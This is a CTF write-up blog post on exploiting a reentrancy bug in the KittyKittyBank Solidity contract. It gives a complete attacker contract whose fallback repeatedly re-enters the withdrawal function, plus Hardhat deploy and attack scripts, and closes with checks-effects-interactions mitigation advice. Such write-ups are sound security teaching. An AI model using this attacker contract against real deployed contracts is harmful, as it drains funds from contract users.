4T$ CTF Writeup: KittyKittyBank

The KittyKittyBank contract was written in Solidity, which allows users to send and withdraw ether (ETH) from the contract. In this blog post, I am providing a deep-dive into the details of the issue, and how it was exploited.

Contract Overview

Let's first examine the structure of the contract:

pragma solidity ^0.6.0;

contract KittyKittyBank {
    mapping(address => uint) public kittykittycats;

    constructor() public payable { }

    function sendKitties() public payable {
        kittykittycats[msg.sender] += msg.value;
    }

    function pullbackKitties() public {
        uint kittens = kittykittycats[msg.sender];

        msg.sender.call.value(kittens)("");

        kittykittycats[msg.sender] = 0;
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

Looking at the contract, we can see the following functions:

  • sendKitties(): Allows users to deposit ether into the contract. The amount deposited is stored in the kittykittycats mapping.

  • pullbackKitties(): Allows users to withdraw their deposited ether. The contract sends the ether back to the user and updates the user's balance to zero.

  • getBalance(): Returns the contract's current balance.

Looking at the pullbackKitties() function, we can see that it has a vulnerability that allows for a reentrancy attack.

The Exploit: Reentrancy Attack

The vulnerability in the KittyKittyBank contract arises from how ether is transferred back to the user in the pullbackKitties() function. The contract uses msg.sender.call.value(kittens)("") to send the ether back to the user. This method of transferring ether is dangerous because it allows the recipient to execute code in response to receiving ether. If the recipient is a contract, it can call functions in the sending contract before the state is updated.

This vulnerability is known as a reentrancy attack.

In a reentrancy attack, the user’s fallback function (or a contract they control) can be triggered when ether is sent back to the user. If this fallback function interacts with the pullbackKitties() function again, it could call pullbackKitties() recursively before the contract’s state is updated. This means the contract could unintentionally send more ether than it should, even draining its entire balance.

In this case, the attacker can exploit the reentrancy vulnerability to withdraw more ether than they initially deposited, draining the contract's balance. Here’s a step-by-step breakdown of how the exploit works:

  • The attacker deposits ether into the contract using the sendKitties() function.

  • The attacker calls the pullbackKitties() function to withdraw the deposited ether.

  • During the withdrawal, the contract sends the ether back to the attacker using msg.sender.call.value(kittens)("").

  • The attacker’s fallback function is triggered, allowing them to call pullbackKitties() again before the contract’s state is updated.

  • The attacker continues to recursively call pullbackKitties(), draining the contract’s balance until all funds are stolen.

  • The attacker can drain the contract's balance by repeatedly calling pullbackKitties() before the contract's state is updated.

  • The attacker can withdraw more ether than they initially deposited, causing financial loss to legitimate users.

  • The contract is vulnerable to reentrancy attacks due to the insecure ether transfer mechanism and the state update after the external call.

Crafting the Attacker Contract

To solve this challenge, we need to craft an attacker contract that exploits the reentrancy vulnerability in the KittyKittyBank contract. The attacker contract will deposit ether into the KittyKittyBank contract and then exploit the reentrancy vulnerability to drain the contract's funds.

Below is the contract I used to exploit the vulnerability:

pragma solidity ^0.6.0;

interface IKittyKittyBank {
    function sendKitties() external payable;
    function pullbackKitties() external;
}

contract Attacker {
    IKittyKittyBank public target;
    address public owner;

    constructor(address _target) public {
        target = IKittyKittyBank(_target);
        owner = msg.sender;
    }

    function fundAttack() external payable {
        require(msg.sender == owner, "Only owner can fund");
        target.sendKitties.value(msg.value)();
    }

    function startAttack() external {
        require(msg.sender == owner, "Only owner can start attack");
        target.pullbackKitties();
    }

    fallback() external payable {
        if (address(target).balance >= 1 ether) {
            target.pullbackKitties();
        }
    }

    function withdraw() external {
        require(msg.sender == owner, "Only owner can withdraw");
        msg.sender.transfer(address(this).balance);
    }
}

This contract would deposit ether into the KittyKittyBank contract and then exploit the reentrancy vulnerability to drain the contract's funds.

Running the Exploit

  • We already had the KittyKittyBank contract deployed on the network.

  • We deployed the Attacker contract and passed the address of the KittyKittyBank contract as a parameter.

  • We funded the attacker contract with some ether using the fundAttack() function.

  • We started the attack using the startAttack() function.

  • The attacker contract exploited the reentrancy vulnerability in the KittyKittyBank contract, draining its funds.

  • We successfully drained the funds from the KittyKittyBank contract using the reentrancy attack.

Configuring the Hardhat Environment

Place the following configuration in the hardhat.config.js file to connect to the custom network:

require("@nomicfoundation/hardhat-toolbox");

/** @type import('hardhat/config').HardhatUserConfig */
module.exports = {
  solidity: "0.6.0",
  networks: {
    customNetwork: {
      url: "RPC_URL",
      accounts: ["0xYOUR_PRIVATE_KEY"],
    },
  }
};

Compiling the Attacker Contract

For that, the above contract can be copied into the contracts/ directory and compiled using Hardhat:

npx hardhat compile

Deploying the Attacker Contract

The attacker contract can be deployed using the following script:

const { ethers } = require("hardhat");

async function main() {
    const targetAddress = ""; // target address of KittyKittyBank contract
    const Attacker = await ethers.getContractFactory("Attacker");
    const attacker = await Attacker.deploy(targetAddress);
    await attacker.waitForDeployment();

    await attacker.getAddress().then((address) => {
        console.log("Attacker deployed to:", address); // print the address of the deployed attacker contract
    });
}

main().catch((error) => {
    console.error(error);
    process.exitCode = 1;
});

After saving the script in the scripts/ directory, it can be executed using Hardhat:

npx hardhat run scripts/deploy.js --network customNetwork

Starting the Attack

The attack can be initiated using the following script:

const { ethers } = require("hardhat");

async function main() {
    const [deployer] = await ethers.getSigners();
    const attackerAddress = ""; // Attacker contract address

    const Attacker = await ethers.getContractFactory("Attacker");
    const attacker = await Attacker.attach(attackerAddress);

    console.log("Funding attacker contract...");
    await attacker.fundAttack({ value: ethers.parseEther("1") });
    console.log("Attacker funded");

    console.log("Starting attack...");
    await attacker.startAttack();
    console.log("Attack executed");

    console.log("Withdrawing funds...");
    await attacker.withdraw();
    console.log("Funds withdrawn to deployer address");

    console.log("Attacker balance:", ethers.formatEther(await deployer.getAddress().then((address) => ethers.provider.getBalance(address))));

}

main().catch((error) => {
    console.error(error);
    process.exitCode = 1;
});

After saving the script in the scripts/ directory, it can be executed using Hardhat:

npx hardhat run scripts/attack.js --network customNetwork

Detailed Explanation

This vulnerability exists because of the following issues:

  1. Insecure ether transfer mechanism: Using call.value() to send ether is dangerous, as it doesn't guarantee that the transaction will succeed without triggering external code (like a malicious fallback function). This can lead to reentrancy problems if the recipient is a contract that can execute code in response to receiving ether.

  2. State update after the external call: The contract's state (kittykittycats[msg.sender] = 0;) is updated after the external ether transfer. This is problematic because, in a reentrancy attack, the attacker can exploit the contract before its state is updated. The contract should first update the state (mark the withdrawal) and then send ether.

Mitigation Strategies

To prevent reentrancy attacks, the contract should be updated to follow best practices for secure smart contract development. What I will suggest is to use "checks-effects-interactions" pattern to prevent reentrancy attacks. Where one should first check the conditions and inputs, second update the state, and finally interact with external contracts.

0
Subscribe to my newsletter

Read articles from Pradip Bhattarai directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Pradip Bhattarai
Pradip Bhattarai